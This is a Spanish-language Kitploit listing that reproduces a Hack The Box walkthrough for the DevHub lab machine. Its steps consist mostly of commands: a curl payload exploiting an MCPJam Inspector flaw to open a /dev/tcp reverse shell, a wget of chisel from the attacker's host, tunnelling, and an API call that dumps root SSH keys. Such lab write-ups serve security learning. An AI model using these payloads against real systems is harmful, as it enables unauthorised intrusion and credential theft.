Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
DevHub-HTB-Walkthrough — Hack The Box - Walkthrough de la Máquina DevHub (Linux de dificultad media, CVE-2026-23744, Tunelización con Chisel, Jupyter, Escalada de Privilegios a Root) | Kitploit
Herramientas/GitHubGitHub/timgad794/devhub-htb-walkthrough
Escalada de PrivilegiosReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y Educación
GitHubtimgad794/devhub-htb-walkthrough

DevHub-HTB-Walkthrough

Hack The Box - Walkthrough de la Máquina DevHub (Linux de dificultad media, CVE-2026-23744, Tunelización con Chisel, Jupyter, Escalada de Privilegios a Root)

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

DevHub – Walkthrough de HTB (Medium Linux)

Máquina: DevHub
Dificultad: Media
SO: Linux
Temas: CVE-2026-23744, Túnel Chisel, Jupyter, Flask API, Escalada de privilegios de root


📌 1. Reconocimiento

root@kitploit:~
nmap -sC -sV devhub.htb
Resultado:

    Puerto 22 (SSH)

    Puerto 80 (HTTP)

    Puerto 6274 (MCPJam Inspector)

📌 2. Ajustar el archivo hosts

echo "10.x.x.x devhub.htb" >> /etc/hosts

📌 3. Explorar el sitio web

    http://devhub.htb/ → Página de inicio

    http://devhub.htb:6274/ → MCPJam Inspector v1.4.2 (vulnerable a CVE-2026-23744)

📌 4. Reverse shell como mcp-dev

Terminal 1 – Listener:

nc -lvnp 4444

Terminal 2 – Payload:

curl -X POST http://devhub.htb:6274/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.x.x.x/4444 0>&1"],"env":{}},"serverId":"mytest"}'

✅ Shell como mcp-dev

📌 5. Configurar túnel Chisel

Servidor HTTP (atacante):

python3 -m http.server 8000 --bind 10.x.x.x

Descargar Chisel en el objetivo (shell de mcp-dev):

cd /tmp
wget http://10.x.x.x:8000/chisel
chmod +x chisel

Servidor Chisel (atacante):

./chisel server --reverse --port 9001

Cliente Chisel (shell de mcp-dev):

./chisel client 10.x.x.x:9001 R:8888:127.0.0.1:8888 &

📌 6. Acceso a Jupyter

Leer el token (shell de mcp-dev):

ps aux | grep jupyter | grep -v grep

Token: a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2xxxxxxxxxx

Navegador: http://localhost:8888/?token=...

📌 7. Obtener la clave SSH de root (en Jupyter)

import requests, json

url = "http://127.0.0.1:5000/tools/call"
headers = {"X-API-Key": "opsmcp_secret_key_4f5a6b7xxxxxxxxx", "Content-Type": "application/json"}
payload = {"name": "ops._admin_dump", "args": {"target": "ssh_keys", "confirm": True}}

response = requests.post(url, headers=headers, json=payload)
print(json.dumps(response.json(), indent=2))

📌 8. Iniciar sesión como root

nano root_key
# Insertar la clave
chmod 600 root_key
ssh -i root_key [email protected]

📌 9. Flags

cat /root/root.txt 
cat /home/analyst/user.txt

Flag de root:

08be4cfb68597d0f9edfccxxxxxxxxxx



¡Mucho éxito! 🚀



---
Descargar herramienta